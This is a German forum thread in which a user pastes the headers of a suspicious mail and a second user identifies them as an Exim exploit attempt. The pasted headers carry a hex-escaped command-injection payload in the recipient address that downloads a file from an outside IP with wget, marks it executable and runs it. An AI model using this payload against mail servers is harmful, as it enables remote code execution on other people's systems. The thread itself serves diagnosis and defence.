POP3 service user ***SPAM***

[fknorr]

Hi Forums-Gemeinde,
ich habe folgendes Problem: Seit einigen Tagen bekomme ich in unregelmäßigen Abständen eine Email von dem Absender POP3 service user mit Betreff ***SPAM***. Ich habe dann schon recherchiert und herausgefunden, dass dies wohl durch Spamassasin so gesendet wird. Der ganze Header sieht so aus:

X-Original-To: 2@muster.com
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2045.148.10.84x2fssx20-Osxsx3bchmodx20x2bxx20sxsx3b.x2fsxsx22}}@muster.com
<20200316075127.96D695E00AC@mx.muster.com>
X-Spam-Status: No, score=5.0 required=7.0 tests=MISSING_HEADERS,RDNS_NONE, TVD_SPACE_RATIO,TVD_SPACE_RATIO_MINFP autolearn=no version=3.3.2
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on s18159419.onlinehome-server.info
Received: by mx.muster.com (Postfix, from userid 30) id 96D695E00AC; Mon, 16 Mar 2020 07:51:27 +0000 (WET)
Received: from service.com (unknown [45.148.10.84]) by mx.muster.com (Postfix) with SMTP id 476C75E00B0 for <root+${run{x2Fbinx2Fsht-ctx22wgetx2045.148.10.84x2fssx20-Osxsx3bchmodx20x2bxx20sxsx3b.x2fsxsx22}}@muster.com>; Wed, 11 Mar 2020 19:16:25 +0000 (WET)
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
Delivered-To: 2@muster.com
Delivered-To: 1@muster.com
Return-Path: <SRS0=AFCF=5B=service.com=1@muster.com>
X-Spam-Prev-Subject: (nonexistent)
X-Spam-Level: ****

habt ihr eine Ahnung was da vor sich geht?

Viele Grüße

 

[GwenDragon]

Versuch über defekte Mailadresse Befehle an Exim einzuschleusen.

Die Möchtegern-Exim-Exploitwelle geht weiter - Marius Welt

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix Kleine Umfrage auf unserem Cluster Und so sieht die neueste Version u.a. aus : 2019-06-19 16:08:46 H=(service.com)...

marius.bloggt-in-braunschweig.de

Alarmierendes mail.log

Ich habe eine alarmierende Zeile in meinem mail.log gefunden, mit der ich nicht so recht weiß, wie ich damit umgehen soll. Es sieht so aus, als ob ein Eindringling es tatsächlich geschafft hat, eine E-Mail von meinem Server zu senden. Hier ein Auszug aus dem Log. (Domain und IP geändert) Jun...

serversupportforum.de